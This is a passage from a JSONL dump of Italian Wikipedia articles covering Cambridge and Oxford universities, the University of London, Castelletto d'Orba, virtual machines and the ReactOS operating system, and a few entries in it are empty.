dell'universit\u00e0 \u00e8 noto con la denominazione di \"vice-cancelliere\".\nLa figura del Cancelliere esiste almeno dal 1246 ed \u00e8 una posizione assegnata a vita, pi\u00f9 che altro cerimoniale, mentre il Vice-cancelliere \u00e8 colui che si occupa del governo e del controllo dell'universit\u00e0.\nIl senato dell'universit\u00e0 \u00e8 formato da colore che hanno ottenuto un Master of Arts da Cambridge e si riunisce nella \"Senate House\". Il senato elegge il Cancelliere ed altri membri dell'amministrazione; fino al 1950 eleggeva due membri della Camera dei Comuni. La \"Regent House\" \u00e8 invece il corpo governativo che si occupa di prendere decisioni e stabilire regole grazie ad un sistema di votazione democratico.\nIl \"Council\" \u00e8 il gruppo amministrativo dell'universit\u00e0 e decide le varie politiche e regole; risponde direttamente alla Regent House, alla quale \u00e8 obbligato a riferire questioni e problemi che riguardino l'istituzione. Per comunicare le varie decisioni, il \"Council\" utilizza il \"Cambridge University Reporter\", la pubblicazione settimanale ufficiale dell'universit\u00e0 di Cambridge.\nLa \"General Board of Faculties\" \u00e8 responsabile delle politiche accademiche: approva i corsi di insegnamento, colloca i fondi disponibili fra i vari dipartimenti e si assicura dello stato finanziario delle sei Scuole. Si accerta anche della qualit\u00e0 delle lezioni e della regolarit\u00e0 delle prove di esame, ricevendo i rapporti dei commissari esterni.\nLetteratura e cultura di massa.\nL'universit\u00e0, data la sua longevit\u00e0, \u00e8 nominata in molte opere:"}
{"id": "26686", "revid": "2164129", "url": "https://it.wikipedia.org/wiki?curid=26686", "title": "Castelletto d'Orba", "text": "Castelletto d'Orba (\"Castl\u00e8t d'\u00d2rba\" in piemontese, \"Casteleto\" in ligure) \u00e8 un comune italiano di abitanti della provincia di Alessandria in Piemonte.\n\u00c8 uno dei comuni principali dell'Ovadese, area storico-culturale del Basso Piemonte e del Monferrato, che prende il nome dalla citt\u00e0 di Ovada. \nIl comune \u00e8 situato su una zona collinare sul margine destro della piana alluvionale del fiume Orba.\nStoria.\nProbabile luogo di una fortificazione romana, nell'XI secolo vi fu costruito un piccolo castello nell'ambito della rete difensiva della marca obertenga. \nFurono per\u00f2 i marchesi del Monferrato a edificare nel 1488 l'attuale castello dotandolo anche di un ricetto.\nFeudo dei Doria, dei Trotti, degli Spinola, e poi degli Adorno, fino alla soppressione del feudo da parte dei repubblicani francesi. Con il congresso di Vienna entr\u00f2 nel Regno di Sardegna.\nSimboli.\nLo stemma e il gonfalone di Castelletto d'Orba sono stati concessi con decreto del presidente della Repubblica del 22 luglio 1991.\nLa fontana zampillante simboleggia la caratteristica del territorio, ricco di fonti di acque minerali, solforose e curative. A questa si affiancano la croce rossa in campo d'argento, simbolo delle crociate a cui i Castellettesi parteciparono numerosi, e lo stemma degli Adorno, feudatari e signori di Castelletto per circa quattro secoli.\nMonumenti e luoghi d'interesse.\nL'abitato \u00e8 dominato dall'imponente castello, costruzione quadrangolare quattrocentesca, con numerosi elementi gotici, tra cui le colonnine e gli archi di marmo sormontate dai caratteristici \"occhi di bue\" e da una coronatura di merli ghibellini.\nInteressante \u00e8 la chiesa di Sant'lnnocenzo nei pressi del cimitero comunale, che ancora oggi conserva la sua configurazione romanica e possiede un bell'interno decorato da affreschi (1300-1400).\nLa Torre Buzzi fu costruita in stile tardo gotico, agli inizi del Novecento, nel luogo dove alcuni storici ipotizzano fosse situato il primo castello di origine obertenga.\nEconomia.\nIl territorio \u00e8 dedicato prevalentemente all'agricoltura, e in particolar modo alla coltivazione della vite. Qui si producono vini DOC tipici dell'Alto Monferrato.\nCastelletto \u00e8 ricco di acque sulfuree medicamentose, scoperte e valorizzate nel '700 da un medico, Gian Battista Barberis, e da un farmacista, Giulio Bava. Tale particolarit\u00e0 ne fa anche una ideale meta turistica.\nTra le sorgenti di acque curative: Lavagello, Cannone, Sovrana, Molino Albedosa, Feja, nelle cui vicinanze vi era ubicata un'azienda di imbottigliamento.\nInfrastrutture e trasporti.\nCastelletto d'Orba \u00e8 attualmente servita da corse dell'autolinea 62 - Alessandria - Predosa - Ovada esercita dalla societ\u00e0 ARFEA.\nIn passato il paese ospitava una stazione dalla tranvia Novi Ligure - Ovada, le cui corse cessarono nel 1953.\nAmministrazione.\nDi seguito \u00e8 presentata una tabella relativa alle amministrazioni che si sono succedute in questo comune."}
{"id": "26689", "revid": "1543377", "url": "https://it.wikipedia.org/wiki?curid=26689", "title": "Universit\u00e0 di Oxford", "text": "L'Universit\u00e0 di Oxford (in inglese: \"University of Oxford\") \u00e8 la pi\u00f9 antica universit\u00e0 del mondo anglosassone. Talora si usa l'espressione Oxbridge per riferirsi allo stesso tempo sia all'universit\u00e0 di Oxford sia all'Universit\u00e0 di Cambridge.\nStoria.\nFondazione.\nLa data di fondazione dell'universit\u00e0 \u00e8 incerta e potrebbe essere avvenuta a pi\u00f9 riprese in diverse occasioni, ma esistono prove della presenza di un centro di studio e insegnamento almeno a partire dal 1096. Quando Enrico II d'Inghilterra proib\u00ec agli studenti anglosassoni di studiare all'Universit\u00e0 di Parigi nel 1167, indusse molti eruditi inglesi a tornare in patria, facendo cos\u00ec crescere Oxford molto rapidamente. Nel 1188, lo storico Gerardo del Galles fece una lettura pubblica per assemblare gli studenti oxoniensi, e due anni dopo, nel 1190, arriv\u00f2 il primo studente straniero: Emo di Friesland. La fondazione della prima residenza per gli studenti (i futuri \u00abcollege\u00bb) e l'istituzione del ruolo del \"Chancellor\" (avvenuta nel 1201) risalgono proprio a tale periodo.\nA seguito dell'esecuzione capitale di due studenti accusati di aver commesso dei crimini nel 1209, l'universit\u00e0 fu smantellata, dando origine alla fondazione dell'universit\u00e0 di Cambridge.\nIn questi anni, gli studenti di Oxford erano soliti dividersi in due fazioni, in base alla nazione di provenienza, in rappresentanza del Nord (che riuniva gli Scozzesi, o pi\u00f9 generalmente coloro che provenivano da una regione al di sopra del fiume Trent) e del Sud (che comprendeva gli irlandesi, i gallesi, e coloro \u00abal di sotto del Trent\u00bb). Negli anni successivi, le origini geografiche continuarono ad influenzare l'adesione ad una confraternita o all'altra da parte di molti studenti, quando divenne d'uso comune l'appartenenza ad un college. In aggiunta a questo, nella met\u00e0 del tredicesimo secolo ad Oxford si insediarono numerosi ordini religiosi, fra cui i domenicani, i francescani, i carmelitani, e gli agostiniani, acquisendo notevole influenza, e aprendo residenze per gli studenti.\nNello stesso periodo, pure alcuni benefattori privati iniziarono a fondare college per gli studenti che si autogestivano. Tra i primi a cavalcare questo filone vi furono Guglielmo di Durham, che nel 1249 fond\u00f2 lo University College, e John Balliol, cui venne dedicato l'odierno Balliol College. Un altro benefattore, Walter de Merton, fiss\u00f2 una serie di regole e norme da rispettare nelle comunit\u00e0 di college: in tal senso, il suo Merton College divenne d'esempio per gli insediamenti simili a Oxford, superando addirittura i confini dell'Oxfordshire ed influendo anche sull'universit\u00e0 di Cambridge. In seguito, un crescente numero di studenti inizi\u00f2 a risiedere nei college, abbandonando quindi le residenze tenute dalle comunit\u00e0 religiose.\nNel 1333-34 vi fu il tentativo di alcuni studenti di fondare una nuova accademia presso Stamford, nel Lincolnshire; tale progetto fu bloccato dalle universit\u00e0 di Oxford e Cambridge, con l'assenso del re Edoardo III. Fu cos\u00ec che Oxford e Cambridge divennero le uniche universit\u00e0 sul suolo albionico: questo vero e proprio duopolio accademico, del tutto insolito nell'Europa occidentale, venne spezzato solamente negli anni 1820.\nRinascimento.\nIl pensiero rinascimentale aveva trovato terreno fertile a Oxford, sin dalla fine del XV secolo. Tra i docenti di questo periodo, particolarmente degni di nota sono William Grocyn, che contribu\u00ec alla grande riscoperta della lingua greca in quegli anni, e John Colet, noto per i suoi studi biblici.\nCon la Riforma protestante numerosi furono i docenti oxoniensi che, ricusando siffatta obbedienza, fuggirono dall'Inghilterra per trovare riparo in altri atenei, primo tra tutti quello di Douai. In questo modo, i metodi di insegnamento vennero rinnovati: venne infatti abbandonata la filosofia cristiana medievale, e abbracciate le nuove istanze rinascimentali. In questi anni, fra l'altro, i vari collegi subirono molteplici perdite finanziarie e confische di terreni, proprio a causa del clima religioso tesissimo.\nNel 1636, il Cancelliere William Laud, arcivescovo di Canterbury, codific\u00f2 per la prima volta gli statuti dell'universit\u00e0; questi, per la maggiore, rimasero in vigore sino alla met\u00e0 dell'Ottocento. Gli influssi di Laud furono fondamentali anche per lo sviluppo della stampa universitaria, cui concesse numerosi privilegi, e della Biblioteca Bodleiana.\nL'universit\u00e0 fu anche un centro di raduno dei monarchici nell'ambito della guerra civile inglese (1642\u20131649), mentre la citt\u00e0 favoriva la causa perorata dai cosiddetti \"Roundhead\". Ciononostante, gi\u00e0 a partire dalla met\u00e0 del Settecento l'Universit\u00e0 inizi\u00f2 ad assumere una posizione di neutralit\u00e0 rispetto alle varie fazioni politiche in contrasto.\nEt\u00e0 moderna.\nDurante l'Ottocento, l'Universit\u00e0 conobbe la nascita del movimento di Oxford (1833\u20131845), che trov\u00f2 in John Henry Newman uno dei maggiori esponenti. In questo modo, l'influenza delle universit\u00e0 riformate in Germania oltrepass\u00f2 la Manica, attraverso l'impulso di figure quali Edward Bouverie Pusey, Benjamin Jowett e Max M\u00fcller.\nQuesto, per il resto, fu un periodo di grandi riforme. Fu sostituito l'esame orale d'ammissione con una prova scritta; vi fu finalmente anche maggiore tolleranza verso i dissenzienti inglesi, e vennero addirittura fondati quattro college femminili. Per di pi\u00f9, nonostante il tradizionale interesse da sempre rivolto verso le materie umanistiche, in questi anni le discipline scientifiche incominciarono ad assumere un rilievo sempre maggiore, mantenuto sino ai giorni nostri.\nNel 1914, poco prima dello scoppio della prima guerra mondiale, a Oxford vi erano pi\u00f9 di tremila non laureati (studenti \"undergraduate\") e circa cento laureati (i cosiddetti \"graduate\"). La Grande Guerra lasci\u00f2 un segno profondo nell'Universit\u00e0: gli studenti caduti per cause riconducibili al conflitto furono in totale 2.716 (il 18,36% del totale). In questi anni, gli spazi accademici vennero messi a servizio dei militari feriti, trasformandosi in questo modo in un ospedale diffuso.\nL'elenco dei grandi maestri dell'universit\u00e0 di Oxford \u00e8 davvero lungo, e include molte personalit\u00e0 politiche, e insigni studiosi di letteratura, scienze, e medicina.\nStrutture.\nEdifici.\nL'universit\u00e0 non dispone di una cittadella universitaria; al contrario, i vari college, dipartimenti, alloggi sono sparsi disordinatamente nel centro della citt\u00e0. L'unica area a ricordare molto da vicino il concetto di \u00abcampus\u00bb \u00e8 la Science Area, ovvero il complesso dei dipartimenti scientifici.\nIl patrimonio architettonico dell'Universit\u00e0 \u00e8 vastissimo: tra le strutture pi\u00f9 suggestive ed iconiche, vi sono la Radcliffe Camera, lo Sheldonian Theatre, usato per concerti, spettacoli, e cerimonie ufficiali, e le Examination Schools, dove hanno luogo gli esami ed alcune \"lectio magistralis\".\nParchi.\nGli University Parks sono un parco cittadino di 28 ettari ubicato nel nord-est della citt\u00e0. Il parco pone a dimora numerose specie arboree, alcune delle quali sono anche esotiche; inoltre, \u00e8 sede di diversi impianti sportivi, per ospitare partite ufficiali e non, e di un'area che prende il nome di \u00abGenetic Garden\u00bb, un giardino sperimentale creato per indagare i processi evolutivi.\nL'Orto botanico, antistante la High Street, \u00e8 il pi\u00f9 antico giardino botanico della Gran Bretagna. Nato nel 1621 per la coltivazione delle piante medicinali, l'Orto si estende su una superficie di 1,8 ettari e contiene oltre specie vegetali, costituenti il 90% delle famiglie di piante superiori.\nL'Universit\u00e0 possiede anche altre aree verdi pure aperti al pubblico, fra le quali il bosco di Bagley ed i Christ Church Meadow.\nOrganizzazione accademica.\nGovernance centrale.\nA capo dell'universit\u00e0 vi \u00e8 il \"Chancellor\", il \u00abCancelliere\u00bb, o rettore: il \"Chancellor\" attualmente in carica \u00e8 Chris Patten. Il rettore, che rappresenta una figura meramente simbolica (non viene infatti coinvolto nelle questioni universitarie d'ogni giorno), viene nominato a vita dalla Convocation, un organo collegiale formato da tutti i laureati all'Universit\u00e0.\nIl \"Vice-Chancellor\" (vicerettore), al 2015 Andrew D. Hamilton, \u00e8 \"de facto\" l'organo al vertice dell'universit\u00e0, e resta in carica per quattro anni. Un gradino al di sotto vi sono due \"proctors\", nominati annualmente su base rotativa da due dei vari college. Il compito dei \"proctors\" \u00e8 quello di verificare il pieno rispetto delle norme universitarie: ci\u00f2 significa accertarsi sulla sicurezza e il comfort degli studenti, ma anche occuparsi delle questioni disciplinari o dei procedimenti pi\u00f9 strettamente burocratici.\nCollegi.\nPer essere membro dell'Universit\u00e0, uno studente deve appartenere ad un collegio, o ad una residenza privata permanente (\"hall\", o PPH); sono attivi in totale 38 collegi e sei \"hall\", ciascuno con una propria organizzazione interna. Non in tutti i collegi sono disponibili tutti i corsi di studio, ma l'offerta formativa da loro proposta rimane comunque molto ampia.\nI collegi sono i seguenti:\nLe sei \"Permanent Private Halls\" sono:\nFinanze.\nSi stima che, nel 2011/12, la ricchezza totale dell'universit\u00e0 fosse intorno a 1.016 milioni di sterline, dei quali 361 milioni distribuiti fra i vari collegi; le principali fonti di guadagno sono stati i soldi messi a disposizione dal governo britannico sotto forma di sussidi per la ricerca (\u00a3409m), i finanziamenti all'insegnamento (\u00a3204m), e le rette scolastiche (\u00a3173m).\n\"Regius professor\".\nIl titolo di \"regius professor\" \u00e8 riservato a professore a tutti gli effetti ordinari dell'ateneo, ma che sono nominati dal re o da un suo delegato, o la cui attivit\u00e0 \u00e8 patrocinata dalla Corona. All'Universit\u00e0 di Oxford il titolo attribuisce di diritto il ruolo di canonico (laico) nella cattedrale di Oxford, ed \u00e8 riservato alle seguenti docenze:"}
{"id": "26691", "revid": "124954978", "url": "https://it.wikipedia.org/wiki?curid=26691", "title": "Universit\u00e0 di Londra", "text": "L'Universit\u00e0 di Londra () \u00e8 un'universit\u00e0 federale fondata nel 1836, costituita da 31 affiliati: 19 college e universit\u00e0 e 12 istituti di ricerca. Conta circa 135.000 studenti ed \u00e8 quindi la pi\u00f9 grande universit\u00e0 nel Regno Unito e comprende alcune tra le pi\u00f9 prestigiose del mondo.\nL'universit\u00e0 fu fondata con un regio decreto legge, il quale cre\u00f2 la federazione unendo la \"London University\" (ora University College London) ed il \"King's College\" (ora King's College London).\nOrganizzazione.\nLe nove istituzioni pi\u00f9 grandi della federazione, solitamente chiamate \"college\", sono Birkbeck, Goldsmiths, King's College London, la London Business School, la London School of Economics, Queen Mary, University of London, la Royal Holloway, la School of Oriental and African Studies e University College London (UCL). Imperial College London ha lasciato l'Universit\u00e0 di Londra ed \u00e8 diventato indipendente nel luglio del 2007. Nel 2016, City University \u00e8 diventata parte dell'Universit\u00e0 di Londra.\nA differenza dei college di altre universit\u00e0 quali Oxford e Cambridge, i diciannove membri della federazione dell'Universit\u00e0 di Londra sono generalmente trattati come universit\u00e0 individuali, godono di maggiore autonomia e sono considerati singolarmente nei ranking nazionali ed internazionali. Alcuni \"college\" hanno recentemente ottenuto l'autorit\u00e0 di rilasciare i propri titoli accademici, come UCL, King's College e Queen Mary\nStruttura amministrativa.\nCollege dell'Universit\u00e0 di Londra.\nI college costituenti l'Universit\u00e0 di Londra sono i seguenti:\nVita studentesca.\nIl 5% degli studenti del Regno Unito frequenta una delle scuole della Universit\u00e0 di Londra. La University of London Union (ULU) agisce da students' union per tutti gli studenti dell'Universit\u00e0 di Londra, a fianco delle individuali unions di ogni college ed istituto. L'edificio della ULU \u00e8 situato in Malet Street (a fianco della Senate House, il centro amministrativo dell'universit\u00e0). Questa unione, oltre a rappresentare gli studenti, ha convenzioni con un gran numero di bar e negozi, possiede il \"London Student\" (il pi\u00f9 importante giornale studentesco d'Europa) ed offre l'utilizzo delle proprie strutture sportive, come palestre e piscine, agli studenti dell'Universit\u00e0 di Londra."}
{"id": "26697", "revid": "1564", "url": "https://it.wikipedia.org/wiki?curid=26697", "title": "B (linguaggio di programmazione)", "text": ""}
{"id": "26702", "revid": "793215", "url": "https://it.wikipedia.org/wiki?curid=26702", "title": "Macchina virtuale", "text": "In informatica il termine macchina virtuale (VM) indica un software che, attraverso un processo di virtualizzazione, crea un ambiente virtuale che emula tipicamente il comportamento di una macchina fisica (PC, client o server) grazie all'assegnazione di risorse hardware (porzioni di disco rigido, RAM e risorse di processamento) e in cui alcune applicazioni possono essere eseguite come se interagissero con tale macchina; infatti se dovesse andare fuori uso il sistema operativo che gira sulla macchina virtuale, il sistema di base non ne risentirebbe affatto. Tra i vantaggi vi \u00e8 il fatto di poter offrire contemporaneamente ed efficientemente a pi\u00f9 utenti diversi ambienti operativi separati, ciascuno attivabile su effettiva richiesta, senza \"sporcare\" il sistema fisico reale con il partizionamento del disco rigido oppure fornire ambienti clusterizzati su sistemi server.\nSignificati.\nSignificato originario.\nIn origine, il termine \"virtual machine\" indicava la creazione di una molteplicit\u00e0 di ambienti di esecuzione identici in un unico computer, ciascuno con il proprio sistema operativo. Lo scopo di questa tecnica era quello di dividere tra pi\u00f9 utenti l'uso di un singolo computer, dando ad ognuno l'impressione di esserne gli unici utilizzatori, oltre ad avere vantaggi che le macchine reali non hanno (ad esempio il caso di dover riavviare la macchina: con macchine virtuali l'operazione \u00e8 pi\u00f9 veloce e c'\u00e8 la possibilit\u00e0 di scegliere quali componenti attivare e quali no). Il software che rende possibile questa divisione \u00e8 chiamato \"virtual machine monitor\" o \"hypervisor\".\nQuesto genere di \"virtualizzazione\" \u00e8 particolarmente utilizzata nel campo dei mainframe e dei supercomputer.\nEsempi di virtualizzazioni di questo genere sono i sistemi operativi VM/CMS e OS/360 di IBM e Xen.\nLa virtualizzazione pu\u00f2 essere vista in diversi modi:\nApplication virtual machine.\nIl significato pi\u00f9 comune oggi \u00e8 quello di un programma che emuli un calcolatore (di solito un calcolatore astratto, cio\u00e8 a cui non corrisponde un calcolatore reale). I programmi applicativi sono scritti in un linguaggio compilato per questo calcolatore immaginario (cio\u00e8 tradotti nelle sue istruzioni native) e, una volta compilati, eseguiti sulla macchina virtuale software, che pu\u00f2 agire o come interprete o come compilatore \"al volo\" (compilazione just in time). Dal momento che si possono scrivere diverse macchine virtuali per diverse piattaforme, il programma compilato pu\u00f2 \"girare\" su qualsiasi piattaforma su cui \"giri\" la macchina virtuale.\n\"L'hypervisor\" \u00e8 il componente chiave per un sistema basato sulla virtualizzazione.\nIl Virtual Machine Monitor deve operare in maniera trasparente senza pesare con la propria attivit\u00e0 sul funzionamento e sulle prestazioni dei sistemi operativi.\nUn linguaggio moderno che fa uso della macchina virtuale \u00e8 il Java: i programmi scritti in Java sono infatti compilati (cio\u00e8 tradotti) nel linguaggio bytecode, che gira sulla Java Virtual Machine.\nProgenitori delle macchine virtuali odierne si possono considerare sia la \"macchina P\", cio\u00e8 il calcolatore astratto per cui erano (e sono tuttora) compilati i programmi in Pascal nelle prime fasi della compilazione (producendo il cosiddetto P-Code), sia la \"macchina S\", un altro calcolatore astratto (che per\u00f2 ebbe anche una realizzazione \"concreta\", cio\u00e8 hardware) per cui erano compilati i programmi in Simula nelle prime fasi della compilazione (producendo il cosiddetto S-code).\n\"L'hypervisor\" alloca le risorse dinamicamente quando e dove necessario, riduce in modo drastico il tempo necessario alla messa in opera di nuovi \"sistemi\", isola l'architettura nel suo complesso da problemi a livello di sistema operativo ed applicativo, abilita ad una gestione pi\u00f9 semplice di risorse eterogenee e facilita \"testing\" e \"debugging\" di ambienti controllati.\nEmulazione di sistemi operativi.\nTalvolta il termine macchina virtuale viene utilizzato per indicare l'emulazione di una piattaforma.\n\u00c8 possibile tramite appositi applicativi creare un \"ambiente applicativo\" tale da apparire come un \"finto computer\", su cui si potr\u00e0 installare un sistema operativo diverso da quello che equipaggia il vero elaboratore.\nGli usi possibili sono:\n\"Parallel virtual machine\".\nSe nella sua accezione originaria il concetto di virtual machine indicava la suddivisione di un singolo computer tra pi\u00f9 utenti, la potenza sempre crescente dei computer ha fatto sorgere l'esigenza inversa: far percepire come unica entit\u00e0 un sistema composto da molti computer distinti. In questo caso si parla di \"Parallel Virtual Machine\". L'uso pi\u00f9 classico di questa tecnologia \u00e8 quello della creazione di cluster di centinaia, se non migliaia, di elaboratori per sostenere carichi di lavoro massicciamente parallelizzabili."}
{"id": "26703", "revid": "7", "url": "https://it.wikipedia.org/wiki?curid=26703", "title": "Promessi Sposi", "text": ""}
{"id": "26706", "revid": "228587", "url": "https://it.wikipedia.org/wiki?curid=26706", "title": "Mud", "text": ""}
{"id": "26707", "revid": "1450446", "url": "https://it.wikipedia.org/wiki?curid=26707", "title": "ReactOS", "text": "ReactOS (in precedenza conosciuto col nome FreeWin95) \u00e8 un sistema operativo libero open-source che si pone l'obiettivo di essere totalmente compatibile con il codice oggetto delle applicazioni e dei driver realizzati per Microsoft Windows NT 5 e versioni successive (Windows 2000, XP, 2003, Vista, 7, 8, 10 e 11).\nIl termine \u00e8 stato coniato dal fondatore del progetto Jason Filby, uno sviluppatore di Oracle Database di Durban, in Sudafrica. \"OS\" sta per \"sistema operativo\" mentre \"React\" sta alla disapprovazione di massa verso Microsoft e la sua posizione monopolistica e quindi alla necessit\u00e0 di una \"Reazione\". Attualmente il progetto si trova nello stadio di sviluppo \"alpha\" e gli stessi sviluppatori ne sconsigliano l'impiego per le attivit\u00e0 di tutti i giorni a causa della sua instabilit\u00e0, anche se l'85% degli obiettivi \u00e8 stato raggiunto nel novembre del 2005.\nStoria.\nL'ideazione e le prime versioni.\nIntorno al 1996 un gruppo di sviluppatori open source avvi\u00f2 un progetto chiamato \"FreeWin95\", con l'intento di implementare un sistema operativo compatibile con Windows 95. Il progetto si arrest\u00f2 alle discussioni riguardanti la progettazione del sistema, perch\u00e9 Windows 95 appariva carente in molte delle caratteristiche richieste.\nPertanto alla fine del 1997 i membri del progetto cambiarono il \"sistema obiettivo\" in Windows NT e il nome stesso del progetto fu modificato in \"ReactOS\"; il progetto nacque ufficialmente nel febbraio 1998 con lo sviluppo del kernel e dei driver di base.\nIl ramo 0.3 e il supporto USB.\nA partire dal ramo di sviluppo della versione 0.3 \u00e8 stato introdotto il supporto per i temi e per l'USB, che nella versione 0.3.14 consentiva solo il funzionamento di tastiere e mouse, ancorch\u00e9 sotto forma di patch, mentre nella versione 0.3.15 supportava anche i dischi dotati di tale bus. \nLa versione 0.3.16 \u00e8 stata precocemente distribuita, con lo scopo di implementare le ultime modifiche in concomitanza del progetto \"Thorium\", un tentativo di guadagnare visibilit\u00e0 tramite una campagna di raccolta fondi sulla piattaforma \"Kickstarter\". Nella versione 0.3.17 \u00e8 stato incluso NTVDM, ancora in fase di progettazione, che fornisce il supporto a una vasta gamma di applicazioni a 16 bit. Lo sviluppo preliminare alla \"release\" 0.3.17 ha inoltre registrato un notevole impegno da parte della comunit\u00e0 nelle prove su hardware; diversi \"rollback\" e \"bugs\" scoperti nelle \"release candidate\" vennero prontamente risolti e inseriti nella versione finale. La \"ReactOS Foundation\" per\u00f2 ha voluto saltare appositamente il ramo di sviluppo 0.3.18 per passare direttamente a quello 0.4, in modo da sottolineare la crescita avuta dal codice in tutti questi anni di miglioramenti.\nLa revisione per presenza di codice non libero.\nIl 17 gennaio 2006 Harmut Birr contatt\u00f2 gli sviluppatori di ReactOS presenti nella mailing list ufficiale (ros-dev) affermando che in ReactOS risultava esserci qualche riga di codice identica a quelle di Windows NT, invalidando la sua licenza libera. Il risultato di queste affermazioni ha fatto chiudere per un periodo di tempo il server SVN dedicato al progetto e gli sviluppatori si sono preoccupati di contattare coloro che contribuivano a migliorare il software a utilizzare solo ed esclusivamente del codice ottenuto tramite il metodo Clean Room Reverse Engineering. Dato che ReactOS \u00e8 distribuito come software open source questa azione ha causato una reazione negativa da parte della comunit\u00e0 del software libero. Non ci sono comunque state conseguenze a danno degli sviluppatori e l'accesso al programma di sviluppo \u00e8 stato ripristinato quasi immediatamente.\nIl codice che Birr ha contestato coinvolgeva la funzione BadStack presente in syscall.S, e altre voci non specificate. Confrontando questa funzione con il codice binario ottenuto dal reverse di Windows XP, Birr ha sostenuto che la funzione BadStack era semplicemente un mero copia-incolla, dato che erano identici. Alex Ionescu, l'autore del codice, ha affermato che mentre il binario di Windows XP \u00e8 stato effettivamente studiato, il codice non era copiato, ma reimplementato; il motivo per cui le funzioni sono identiche, ha sostenuto Ionescu, \u00e8 stato perch\u00e9 c'era solo un modo per implementare la funzione. Il fatto \u00e8 analogo alla causa intentata da Sony Computer Entertainment contro Connectix relativa al reverse engineering fatto nel corso dello sviluppo di Virtual Game Station: Connectix ebbe successo nel ricorso contro la sentenza iniziale, sostenendo che il reverse e l'osservazione diretta del codice proprietario era resa necessaria perch\u00e9 non c'era altro modo per determinare il suo comportamento e quindi le fu riconosciuto l'\"uso legittimo\".\nCome conseguenza dall'8 marzo 2006 fino a dicembre 2007 gli sviluppatori di ReactOS hanno iniziato un'analisi auto-imposta di tutto il codice che riguarda la compatibilit\u00e0 con Microsoft Windows. A settembre del 2007, quando il controllo del codice era quasi ultimato, lo stato dell'analisi venne rimosso dalla homepage di ReactOS. Quando l'analisi venne definitivamente completata, i dettagli nello specifico non furono resi pubblici e rimasero solo come dati interni per essere sicuri della completa legalit\u00e0 del prodotto.\nL'implementazione di nuove funzionalit\u00e0 e gli \"hackfest\".\nA partire dal 2008 il lavoro di sviluppo \u00e8 stato rivolto, tra gli altri obiettivi, a implementare nel sistema un migliore supporto di rete, un supporto per la multimedialit\u00e0 e un completo supporto hardware di tipo plug-and-play oltre al miglioramento della GUI. Java e il supporto per applicazioni .NET (e Mono) vennero rese funzionanti, anche se la compatibilit\u00e0 con alcune applicazioni non \u00e8 garantita. Tuttavia il sistema \u00e8 ancora carente di molte API fondamentali, prova ne \u00e8 il frequente \"crash\" di applicazioni e l'impossibilit\u00e0 di installarne molte di pi\u00f9. Solo un piccolo gruppo di programmi, indicati come \"golden app\", possono essere installate e funzionare su ReactOS. Gli sviluppatori si sono inoltre concentrati per rendere il kernel del sistema operativo ancora pi\u00f9 compatibile con quello di Windows NT 5.x e 6 e per rendere funzionanti ancora pi\u00f9 applicazioni, prevedendo di implementare il supporto in lettura e scrittura del filesystem NTFS., ext2 e seguenti.\nIntanto nei primi mesi del 2015 gli sviluppatori hanno lavorato molto per migliorare il supporto delle \"Dynamic-link library\" circa l'introduzione delle funzionalit\u00e0 di stampa e il 23 luglio 2015 si \u00e8 riuscito a stampare il primo documento. Nel mentre gli sviluppatori di ReactOS hanno organizzato un \"hackfest\" dal 7 al 12 agosto 2015, nella citt\u00e0 di Aachen in Germania, l'iniziativa si rivel\u00f2 un successo e ha permesso l'aggiunta di moltissime funzioni al sistema operativo.\nIl ramo 0.4 e il nuovo sito web.\nCon la versione 0.4.0 nel 2016 venne aggiunto il supporto ai dispositivi audio, e con la versione 0.4.4 pubblicata nel febbraio 2017 sono iniziati i primi lavori volti alla creazione di un pieno supporto di stampa. \nDiversi sviluppatori del team di ReactOS durante l'Hackfest 2018 si sono resi conto della cattiva progettazione del sito del loro progetto, il quale ormai risultava superato concettualmente rispetto alle nuove esigenze richieste. Per questo motivo il 21 marzo 2020 ne \u00e8 stato pubblicato uno completamente nuovo, pi\u00f9 ordinato e, soprattutto, orientato al rispetto della privacy nei confronti dell'utenza. Per giunta il suo codice \u00e8 stato reso open-source e liberamente consultabile sulla piattaforma Github, su cui \u00e8 stato spostato, dopo diverse richieste, anche il codice del sistema operativo ReactOS, attirando cos\u00ec pi\u00f9 sviluppatori volontari, come dimostrato dai dati analizzati dal team. Il 10 aprile \u00e8 stata pubblicata la versione 0.4.13 che oltre a migliorare ulteriormente il supporto per l'USB ha aggiunto nuove funzionalit\u00e0 al file manager \"Explorer\", un miglioramento al porting per Xbox, miglioramenti al bootloader e nuove applicazioni per l'accessibilit\u00e0.\nCaratteristiche.\n\u00c8 composto interamente da software libero ed \u00e8 stato scritto completamente da zero, con una tecnica di \"reverse engineering\" detta \"clean room design\", perci\u00f2 non \u00e8 assolutamente da ritenersi un sistema operativo basato sul kernel Linux e non condivide nulla con l'architettura Unix. \u00c8 scritto principalmente in C, con alcuni elementi, come ReactOS Explorer, scritti in C++. Il software viene distribuito sotto licenza GNU General Public License anche se alcune componenti sono sotto altre licenze, come la GNU Lesser General Public License e le Licenze BSD.\nCome bootloader utilizza \"Freeloader\", mentre il kernel di ReactOS ricalca quello con architettura Windows NT e risulta essere abbastanza stabile, con molte API e ABI pronte per lo sviluppo ad alto livello; \u00e8 disponibile anche una interfaccia utente di base. ReactOS utilizza \"ReactOS Explorer\", una snella shell grafica simile a Windows Explorer. Nel 2014 l'esplora risorse \u00e8 stato totalmente riscritto, correggendo diversi bug che lo affliggevano e implementando nuove caratteristiche che rendono l'esplora risorse molto simile a quello di Windows 2003.\nMolte applicazioni per Windows risultano funzionare correttamente grazie anche alle librerie del progetto Wine, con cui collabora lo stesso staff di ReactOS. Per consentire di provarlo senza disporre di un computer apposito, oltre alla versione installabile e al Live CD, si possono scaricare dal sito le immagini in formato .ISO per vari software di virtualizzazione.\nOltre al ReactOS Explorer \u00e8 stato implementato anche una sorta di \"gestore applicazioni\" da cui \u00e8 possibile scaricare alcuni software che funzionano senza problemi. ReactOS utilizza parti del progetto GNU. Utilizza inoltre NTFS-3G, un driver NTFS per Linux, Mac OS X, FreeBSD, NetBSD, OpenSolaris, QNX, Haiku e altri sistemi operativi.\nArchitetture supportate.\nLe architetture ufficialmente supportate sono x86, amd64, i686 e ARM: su tali piattaforme pu\u00f2 essere eseguito con software di virtualizzazione come VMware, VirtualBox e QEMU. Il supporto per Microsoft VirtualPC non \u00e8 attualmente disponibile, ma verr\u00e0 ripreso in futuro.\nDato che Windows NT 4.0 funzionava su architetture MIPS, Alpha AXP, e PowerPC oltre che sull'architettura i386, e che i sistemi operativi di derivazione NT come Windows XP e Windows Server 2003 sono stati portati su diverse architetture (AMD64, IA-32, e IA-64), gli sviluppatori di ReactOS hanno lavorato per implementare supporto anche su altre piattaforme: ad esempio il supporto per una variante 